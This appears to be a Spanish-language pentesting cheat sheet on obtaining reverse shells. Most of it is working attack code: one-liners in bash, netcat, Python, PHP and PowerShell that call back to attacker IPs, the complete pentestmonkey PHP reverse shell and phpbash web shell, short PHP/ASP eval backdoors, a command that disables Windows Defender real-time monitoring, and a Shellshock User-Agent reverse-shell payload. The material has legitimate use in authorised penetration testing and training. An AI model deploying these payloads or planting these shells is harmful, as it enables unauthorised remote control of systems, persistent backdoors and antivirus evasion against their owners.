18 minuto(s) estimado(s) de lectura
Reverse Shell
y como obtener acceso

Ejemplos principales:
Bash
┌─[root@kali]─[/home/user/demo/exploit]
└──╼ bash -i >& /dev/tcp/10.0.0.1/443 0>&1
┌─[root@kali]─[/home/user/demo/exploit]
└──╼ /bin/bash -c 'bash -i >& /dev/tcp/10.0.0.1/443 0<&1'
Python
┌─[root@kali]─[/home/user/demo/exploit]
└──╼ python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234))
Netcat
#Versiones actualizadas
┌─[root@kali]─[/home/user/demo/exploit]
└──╼ nc -e /bin/sh 10.0.0.1 1234
#Versiones más antiguas
┌─[root@kali]─[/home/user/demo/exploit]
└──╼ rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.0.0.1 1234 > /tmp/f
PHP
Para testear ejecución remota de comandos:
Si queremos subir un archivo PHP su content type debe ser el siguiente:
Content-Type: application/x-php
<?php system($_GET[‘ls’]);?>
<?php system($_GET[‘cmd’]);?>
<?=`$_GET[0]`?>
Para obtener una reverse shell por medio de comandos:
┌─[root@kali]─[/home/user/demo/exploit]
└──╼ php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
En PHP se puede ingresar un archivo malicioso que devuelva una reverse shell.
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.14.97';
$port = 4646;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; sh -i';
$daemon = 0;
$debug = 0;
if (function_exists('pcntl_fork')) {
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
chdir("/");
umask(0);
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>
También existe una versión web interactiva sin necesidad de generar una reverse shell.
<?php
/* phpbash by Alexander Reid (Arrexel) */
if (ISSET($_POST['cmd'])) {
$output = preg_split('/[\n]/', shell_exec($_POST['cmd']." 2>&1"));
foreach ($output as $line) {
echo htmlentities($line, ENT_QUOTES | ENT_HTML5, 'UTF-8') . "<br>";
}
die();
} else if (!empty($_FILES['file']['tmp_name']) && !empty($_POST['path'])) {
$filename = $_FILES["file"]["name"];
$path = $_POST['path'];
if ($path != "/") {
$path .= "/";
}
if (move_uploaded_file($_FILES["file"]["tmp_name"], $path.$filename)) {
echo htmlentities($filename) . " successfully uploaded to " . htmlentities($path);
} else {
echo "Error uploading " . htmlentities($filename);
}
die();
}
?>
<html>
<head>
<title></title>
<style>
html, body {
max-width: 100%;
}
body {
width: 100%;
height: 100%;
margin: 0;
background: #000;
}
body, .inputtext {
font-family: "Lucida Console", "Lucida Sans Typewriter", monaco, "Bitstream Vera Sans Mono", monospace;
font-size: 14px;
font-style: normal;
font-variant: normal;
font-weight: 400;
line-height: 20px;
overflow: hidden;
}
.console {
width: 100%;
height: 100%;
margin: auto;
position: absolute;
color: #fff;
}
.output {
width: auto;
height: auto;
position: absolute;
overflow-y: scroll;
top: 0;
bottom: 30px;
left: 5px;
right: 0;
line-height: 20px;
}
.input form {
position: relative;
margin-bottom: 0px;
}
.username {
height: 30px;
width: auto;
padding-left: 5px;
line-height: 30px;
float: left;
}
.input {
border-top: 1px solid #333333;
width: 100%;
height: 30px;
position: absolute;
bottom: 0;
}
.inputtext {
width: auto;
height: 30px;
bottom: 0px;
margin-bottom: 0px;
background: #000;
border: 0;
float: left;
padding-left: 8px;
color: #fff;
}
.inputtext:focus {
outline: none;
}
::-webkit-scrollbar {
width: 12px;
}
::-webkit-scrollbar-track {
background: #101010;
}
::-webkit-scrollbar-thumb {
background: #303030;
}
</style>
</head>
<body>
<div class="console">
<div class="output" id="output"></div>
<div class="input" id="input">
<form id="form" method="GET" onSubmit="sendCommand()">
<div class="username" id="username"></div>
<input class="inputtext" id="inputtext" type="text" name="cmd" autocomplete="off" autofocus>
</form>
</div>
</div>
<form id="upload" method="POST" style="display: none;">
<input type="file" name="file" id="filebrowser" onchange='uploadFile()' />
</form>
<script type="text/javascript">
var username = "";
var hostname = "";
var currentDir = "";
var previousDir = "";
var defaultDir = "";
var commandHistory = [];
var currentCommand = 0;
var inputTextElement = document.getElementById('inputtext');
var inputElement = document.getElementById("input");
var outputElement = document.getElementById("output");
var usernameElement = document.getElementById("username");
var uploadFormElement = document.getElementById("upload");
var fileBrowserElement = document.getElementById("filebrowser");
getShellInfo();
function getShellInfo() {
var request = new XMLHttpRequest();
request.onreadystatechange = function() {
if (request.readyState == XMLHttpRequest.DONE) {
var parsedResponse = request.responseText.split("<br>");
username = parsedResponse[0];
hostname = parsedResponse[1];
currentDir = parsedResponse[2].replace(new RegExp("/", "g"), "/");
defaultDir = currentDir;
usernameElement.innerHTML = "<div style='color: #ff0000; display: inline;'>"+username+"@"+hostname+"</div>:"+currentDir+"#";
updateInputWidth();
}
};
request.open("POST", "", true);
request.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
request.send("cmd=whoami; hostname; pwd");
}
function sendCommand() {
var request = new XMLHttpRequest();
var command = inputTextElement.value;
var originalCommand = command;
var originalDir = currentDir;
var cd = false;
commandHistory.push(originalCommand);
switchCommand(commandHistory.length);
inputTextElement.value = "";
var parsedCommand = command.split(" ");
if (parsedCommand[0] == "cd") {
cd = true;
if (parsedCommand.length == 1) {
command = "cd "+defaultDir+"; pwd";
} else if (parsedCommand[1] == "-") {
command = "cd "+previousDir+"; pwd";
} else {
command = "cd "+currentDir+"; "+command+"; pwd";
}
} else if (parsedCommand[0] == "clear") {
outputElement.innerHTML = "";
return false;
} else if (parsedCommand[0] == "upload") {
fileBrowserElement.click();
return false;
} else {
command = "cd "+currentDir+"; " + command;
}
request.onreadystatechange = function() {
if (request.readyState == XMLHttpRequest.DONE) {
if (cd) {
var parsedResponse = request.responseText.split("<br>");
previousDir = currentDir;
currentDir = parsedResponse[0].replace(new RegExp("/", "g"), "/");
outputElement.innerHTML += "<div style='color:#ff0000; float: left;'>"+username+"@"+hostname+"</div><div style='float: left;'>"+":"+originalDir+"# "+originalCommand+"</div><br>";
usernameElement.innerHTML = "<div style='color: #ff0000; display: inline;'>"+username+"@"+hostname+"</div>:"+currentDir+"#";
} else {
outputElement.innerHTML += "<div style='color:#ff0000; float: left;'>"+username+"@"+hostname+"</div><div style='float: left;'>"+":"+currentDir+"# "+originalCommand+"</div><br>" + request.responseText.replace(new RegExp("<br><br>$"), "<br>");
outputElement.scrollTop = outputElement.scrollHeight;
}
updateInputWidth();
}
};
request.open("POST", "", true);
request.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
request.send("cmd="+encodeURIComponent(command));
return false;
}
function uploadFile() {
var formData = new FormData();
formData.append('file', fileBrowserElement.files[0], fileBrowserElement.files[0].name);
formData.append('path', currentDir);
var request = new XMLHttpRequest();
request.onreadystatechange = function() {
if (request.readyState == XMLHttpRequest.DONE) {
outputElement.innerHTML += request.responseText+"<br>";
}
};
request.open("POST", "", true);
request.send(formData);
outputElement.innerHTML += "<div style='color:#ff0000; float: left;'>"+username+"@"+hostname+"</div><div style='float: left;'>"+":"+currentDir+"# Uploading "+fileBrowserElement.files[0].name+"...</div><br>";
}
function updateInputWidth() {
inputTextElement.style.width = inputElement.clientWidth - usernameElement.clientWidth - 15;
}
document.onkeydown = checkForArrowKeys;
function checkForArrowKeys(e) {
e = e || window.event;
if (e.keyCode == '38') {
previousCommand();
} else if (e.keyCode == '40') {
nextCommand();
}
}
function previousCommand() {
if (currentCommand != 0) {
switchCommand(currentCommand-1);
}
}
function nextCommand() {
if (currentCommand != commandHistory.length) {
switchCommand(currentCommand+1);
}
}
function switchCommand(newCommand) {
currentCommand = newCommand;
if (currentCommand == commandHistory.length) {
inputTextElement.value = "";
} else {
inputTextElement.value = commandHistory[currentCommand];
setTimeout(function(){ inputTextElement.selectionStart = inputTextElement.selectionEnd = 10000; }, 0);
}
}
document.getElementById("form").addEventListener("submit", function(event){
event.preventDefault()
});
</script>
</body>
</html>
.NET
<% eval request('cmd') %>
Otros códigos se pueden encontrar en el directorio /usr/share/webshells/laudanum
o desde el GitHub de laudanum.
PowerShell (cmd)
C:\Users\test> powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.0.0.1',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
Deshabilitar Antivirus
PS C:\Users\test> Set-MpPreference -DisableRealtimeMonitoring $true
Ejemplo de uso
En burpsuite se podría ocupar en ataques como Shellshock, por ejemplo:
#Se ocupa como base un proceso como este...
curl -H "User-Agent: () { :; }; /bin/eject" http://example.com/
#Acá se adapta el proceso...
User Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.0.0.1/1234 0>&1